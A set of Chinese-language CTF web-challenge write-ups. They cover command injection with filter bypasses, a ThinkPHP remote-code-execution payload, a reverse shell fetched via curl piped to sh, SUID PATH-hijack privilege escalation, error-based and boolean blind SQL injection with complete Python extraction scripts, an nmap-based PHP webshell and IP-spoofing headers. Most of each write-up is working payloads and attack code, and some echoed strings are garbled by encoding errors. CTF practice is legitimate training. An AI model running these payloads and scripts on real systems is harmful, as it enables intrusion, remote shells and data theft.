端午就该吃粽子
打开环境没有界面
直接目录扫描得到
login.php
访问得到
发现存在文件包含
试试目录跳跃,发现被过滤掉了
那就直接php为协议读源码
http://www.bmzclub.cn:22020/login.php?zhongzi=php://filter/read=convert.base64-encode/resource=index.php
解码得到
<?php
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/(;|'| |>|]|&| |python|sh|nc|tac|rev|more|tailf|index|php|head|nl|sort|less|cat|ruby|perl|bash|rm|cp|mv|\*)/i", $ip)){
die("<script language='javascript' type='text/javascript'>
alert('no no no!')
window.location.href='index.php';</script>");
}else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("<script language='javascript' type='text/javascript'>
alert('no flag!')
window.location.href='index.php';</script>");
}
$a = shell_exec("ping -c 4 ".$ip);
echo $a;
}
?>
有两个正则
windows.location.href="/url"
当前页面打开URL页面。
shell_exec
(PHP 4, PHP 5, PHP 7) shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
payload:http://www.bmzclub.cn:22020/index.php?url=127.0.0.1|c\a\t${IFS}/????
听说最近thinkphp很火?
打开环境 会发现进行自动跳转
我们先进public目录下的index.php的入口文件跳转到这
然后直接进行thinkphp的url重写
https://serverName/index.php(入口文件)/模块/控制器/操作/参数/值…;
然后随便一个解释器和操作让它报错 好让我们拿到版本号
http://www.bmzclub.cn:22020/index.php/index/lindex/hello
得到版本号,直接百度找利用payload
http://www.bmzclub.cn:22020/index.php?s=captcha (POST)_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
WEB_penetration
打开环境
<?php
highlight_file(__FILE__);
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
$_=array('b','d','e','-','q','f','g','i','p','j','+','k','m','n','\<','\>','o','w','x','\~','\:','\^','\@','\&','\'','\%','\"','\*','\(','\)','\!','\=','\.','\[','\]','\}','\{','\_');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (strlen($ip) <= 18){
if (preg_match ('/' . $blacklisted . '/im', $ip)) {
die('nonono');
}else{
exec($ip);
}
}
else{
die("long");
}
}
}
传入一个GET型的ip参数,设置一个_变量,将_作为$blacklist
ip经过两重判断,一是长度小于18,二是balcklist黑名单匹配,匹配到的将敏感词替换为/im
思路:过滤挺多,到目前可以看出curl没有过滤掉
所以直接反弹sell
自己挂个vps的主页为:
bash -c "bash -i >& /dev/tcp/IP地址/8080 0>&1"
然后vps上监听:
nc -lvnp 8080
然后payload:
?ip=curl (10进制ip)|sh
反弹成功后会发现不是root权限
所以要进行越权
先找一下suid
find / -user root -perm -4000 -print 2>/dev/null
发现love里面有个ps命令
ps命令没有指定是哪个目录下的。
那么我们就可以伪造ps命令来提权。
我们在/tmp目录下伪造ps命令。因为/tmp目录有可写权限
cd /tmp # 进入/tmp目录
echo "/bin/bash" >ps #将payload写入ps文件
chmod 777 ps #设置可读可写可执行权限
$PATH #查看环境变量
export PATH=/tmp:$PATH #将/tmp加入环境变量,并放在第一个位置
运行love,发现权限变成root了
然后读取flag就好了
cat /root/flag
[极客大挑战 2019]LoveSQL
在用户名有报错注入
爆库名
1' and extractvalue(0,concat(0x7e,database()))#
返回结果
XPATH syntax error: '~geek'
爆表名
1' and extractvalue(0,concat(0x7e,(select group_concat(distinct table_name)from information_schema.tables where table_schema='geek')))#
返回结果
XPATH syntax error: '~geekuser,l0ve1ysq1~'
爆字段
1' and extractvalue(0,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='l0ve1ysq1')))#
返回结果
XPATH syntax error: '~id,username,password'
然后使用substr()截取字段内容,当截取到下标为225时,返回flag的一部分:
1' union select updatexml(1,concat(0x7e,substr((select group_concat(password) FROM geek.l0ve1ysq1),225,250),0x7e),1);#
返回结果
XPATH syntax error: '~u_ji,Syc_san_da_hacker,flag{060'
同理得到flag
[CISCN2019 华北赛区]Hack World
传入id,有两种返回结果,1以及2。很容易的推测到可能是布尔盲注。
fuzz之后发现WAF了空格。使用括号可以绕过。
这里直接用了通杀语句if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)。
exp
import requests
string = "Hello, glzjin wants a girlfriend."
url = "http://c51bbb75-0b7f-4f51-8343-a1e164f75d10.node3.buuoj.cn/index.php"
flag = ""
for i in range(50):
for j in range(127):
payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j)
data = {'id': payload}
files = []
headers = {}
response = requests.request("POST", url, headers=headers, data=data, files=files)
print(j)
#为了防止因网络原因而导致爆破中断丢失数据
if response.text.find(string) != -1:
flag += chr(j)
print(flag)
break
[WUSTCTF2020]颜值成绩查询
忘记了是哪位师傅的全能查表脚本了,直接保存一手终于用上了
# -*- coding:utf-8 -*-
import requests
import time
def ascii_str(): # 生成库名表名字符所在的字符列表字典
str_list = []
for i in range(33, 127): # 所有可显示字符
str_list.append(chr(i))
# print('可显示字符:%s'%str_list)
return str_list # 返回字符列表
def db_length(url, str):
print("[-]开始测试数据库名长度.......")
num = 1
while True:
db_payload = url + "/**/and/**/(length(database())=%d)--+" % num
r = requests.get(db_payload)
if r.status_code == 429:
print("too fast")
time.sleep(0.5)
if str in r.text:
db_length = num
print("[+]数据库长度:%d\n" % db_length)
db_name(db_length) # 进行下一步,测试库名
break
else:
num += 1
def db_name(db_length):
print("[-]开始测试数据库名.......")
db_name = ''
str_list = ascii_str()
for i in range(1, db_length + 1):
for j in str_list:
db_payload = url + "/**/and/**/(ord(mid(database(),%d,1))='%s')--+" % (i, ord(j))
r = requests.get(db_payload)
if r.status_code == 429:
print("too fast")
time.sleep(0.5)
if str in r.text:
db_name += j
break
print("[+]数据库名:%s\n" % db_name)
tb_piece(db_name) # 进行下一步,测试security数据库有几张表
return db_name
def tb_piece(db_name):
print("开始测试%s数据库有几张表........" % db_name)
for i in range(100): # 猜解库中有多少张表,合理范围即可
tb_payload = url + "/**/and/**/%d=(select/**/count(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='%s')--+" % (
i, db_name)
r = requests.get(tb_payload)
if r.status_code == 429:
print("too fast")
time.sleep(0.5)
if str in r.text:
tb_piece = i
break
print("[+]%s库一共有%d张表\n" % (db_name, tb_piece))
tb_name(db_name, tb_piece) # 进行下一步,猜解表名
def tb_name(db_name, tb_piece):
print("[-]开始猜解表名.......")
table_list = []
for i in range(tb_piece):
str_list = ascii_str()
tb_length = 0
tb_name = ''
for j in range(1, 20): # 表名长度,合理范围即可
tb_payload = url + "/**/and/**/(select/**/length(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/%d,1)=%d--+" % (
i, j)
r = requests.get(tb_payload)
if r.status_code == 429:
print("too fast")
time.sleep(0.5)
if str in r.text:
tb_length = j
print("第%d张表名长度:%s" % (i + 1, tb_length))
for k in range(1, tb_length + 1): # 根据表名长度进行截取对比
for l in str_list:
tb_payload = url + "/**/and/**/(select/**/ord(mid((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/%d,1),%d,1)))=%d--+" % (
i, k, ord(l))
r = requests.get(tb_payload)
if r.status_code == 429:
print("too fast")
time.sleep(0.5)
if str in r.text:
tb_name += l
print("[+]:%s" % tb_name)
table_list.append(tb_name)
break
print("\n[+]%s库下的%s张表:%s\n" % (db_name, tb_piece, table_list))
column_num(table_list, db_name) # 进行下一步,猜解每张表的字段数
def column_num(table_list, db_name):
print("[-]开始猜解每张表的字段数:.......")
column_num_list = []
for i in table_list:
for j in range(30): # 每张表的字段数量,合理范围即可
column_payload = url + "/**/and/**/%d=(select/**/count(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='%s')--+" % (
j, i)
r = requests.get(column_payload)
if r.status_code == 429:
print("too fast")
time.sleep(0.5)
if str in r.text:
column_num = j
column_num_list.append(column_num) # 把所有表的字段,依次放入这个列表当中
print("[+]%s表\t%s个字段" % (i, column_num))
break
print("\n[+]表对应的字段数:%s\n" % column_num_list)
column_name(table_list, column_num_list, db_name) # 进行下一步,猜解每张表的字段名
def column_name(table_list, column_num_list, db_name):
print("[-]开始猜解每张表的字段名.......")
column_length = []
str_list = ascii_str()
column_name_list = []
for t in range(len(table_list)): # t在这里代表每张表的列表索引位置
print("\n[+]%s表的字段:" % table_list[t])
for i in range(column_num_list[t]): # i表示每张表的字段数量
column_name = ''
for j in range(1, 21): # j表示每个字段的长度
column_name_length = url + "/**/and/**/%d=(select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='%s'/**/limit/**/%d,1)--+" % (
j - 1, table_list[t], i)
r = requests.get(column_name_length)
if r.status_code == 429:
print("too fast")
time.sleep(0.5)
if str in r.text:
column_length.append(j)
break
for k in str_list: # k表示我们猜解的字符字典
column_payload = url + "/**/and/**/ord(mid((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='%s'/**/limit/**/%d,1),%d,1))=%d--+" % (
table_list[t], i, j, ord(k))
r = requests.get(column_payload)
if r.status_code == 429:
print("too fast")
time.sleep(0.5)
if str in r.text:
column_name += k
print('[+]:%s' % column_name)
column_name_list.append(column_name)
print(column_name_list)#输出所有表中的字段名到一个列表中
dump_data(table_list, column_name_list, db_name) # 进行最后一步,输出指定字段的数据
def dump_data(table_list, column_name_list, db_name):
print("\n[-]对%s表的%s字段进行爆破.......\n" % (table_list[0], column_name_list[0:2]))
str_list = ascii_str()
for i in column_name_list[0:2]:
for j in range(101): # j表示有多少条数据,合理范围即可
data_num_payload = url + "/**/and/**/(select/**/count(%s)/**/from/**/%s.%s)=%d--+" % (i, db_name, table_list[0], j)
r = requests.get(data_num_payload)
if str in r.text:
data_num = j
break
print("\n[+]%s表中的%s字段有以下%s条数据:" % (table_list[0], i, data_num))
for k in range(data_num):
data_len = 0
dump_data = ''
for l in range(1,80): # l表示每条数据的长度,合理范围即可
data_len_payload = url + "/**/and/**/ascii(substr((select/**/%s/**/from/**/%s.%s/**/limit/**/%d,1),%d,1))--+" % (
i, db_name, table_list[0], k, l)
r = requests.get(data_len_payload)
if str not in r.text:
data_len = l - 1
for x in range(1, data_len + 1): # x表示每条数据的实际范围,作为mid截取的范围
for y in str_list:
data_payload = url + "/**/and/**/ord(mid((select/**/%s/**/from/**/%s.%s/**/limit/**/%d,1),%d,1))=%d--+" % (
i, db_name, table_list[0], k, x, ord(y))
r = requests.get(data_payload)
if str in r.text:
dump_data += y
break
break
print('[+]%s' % dump_data) # 输出每条数据
if __name__ == '__main__':
url = "http://268c8f8f-42b5-422e-8a28-b3bc2777c4c0.node4.buuoj.cn:81/?stunum=1" # 目标url
str = "Hi admin" # 布尔型盲注的true&false的判断因素
db_length(url, str) # 程序入口
盲注乱杀
i
mport requests
import time
url1 = "http://268c8f8f-42b5-422e-8a28-b3bc2777c4c0.node4.buuoj.cn:81/?stunum="
data = ""
for i in range(1,500):
for j in range(31,128):
payload = 'if(ascii(substr((select(value)from(flag)),{},1))={},1,0)'.format(i,j)#字段值
r = requests.get(url = url1 + payload )
if r.status_code == 429:
print("too fast")
time.sleep(0.5)
if r"Hi admin, your score is: 100" in r.text:
data += chr(j)
print(data)
[WUSTCTF2020]朴实无华
打开环境先访问index.php没有跳转,直接访问robotx.txt得到一个假的flag文件,
然后反反复复的找在网络头里面找到了一个提示
然后访问得到源码
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>
然后这里有三个地方需要绕过
if(intval($num) < 2020 && intval($num + 1) > 2021)
这个intval() 函数将括号内的值转换为整型,可以通过科学计数法来进行绕过
注意这个绕过方式只能在PHP5.5的版本进行复现
所以num=1e4
if ( m d 5 = = m d 5 ( md5==md5( md5==md5(md5))
第二关就是md5加密的值等于他本身
然后我之前的笔记直接拿到这个值md5=0e215962017
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
第三关就是这里的替换,过滤了cat和空格
直接命令执行绕过就行 tac 和 %09(php环境下)
先去ls一下 得到flag文件名 然后 读取就行
[BUUCTF 2018]Online Tool
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
这道题重点
h
o
s
t
=
e
s
c
a
p
e
s
h
e
l
l
a
r
g
(
host = escapeshellarg(
host=escapeshellarg(host);
h
o
s
t
=
e
s
c
a
p
e
s
h
e
l
l
c
m
d
(
host = escapeshellcmd(
host=escapeshellcmd(host);
然后payload就是
'<?php eval($_POST["a"]);?> -oG 1.php '
然后蚁剑连接就行了
[MRCTF2020]套娃
源码中得到
<!--
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->
第一个if绕过很简单
我们这里用+绕过然后第二个正则用回车的url编码绕过就行
b+u+p+t=23333%0a
然后得到jsfuck代码 解码叫我们post传参个那个一个随便一个值
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
这里有个加密
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
我们来逆一下
<?php
function unchange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
然后利用data伪协议过第一个if
还要加上ip头混淆
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-remote-IP: 127.0.0.1
X-remote-addr: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
Ali-CDN-Real-IP: 127.0.0.1
Cdn-Src-Ip: 127.0.0.1
Cdn-Real-Ip: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
WL-Proxy-Client-IP: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
Fastly-Client-Ip: 127.0.0.1
True-Client-Ip: 127.0.0.1
所以payload:?2333=data:text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI=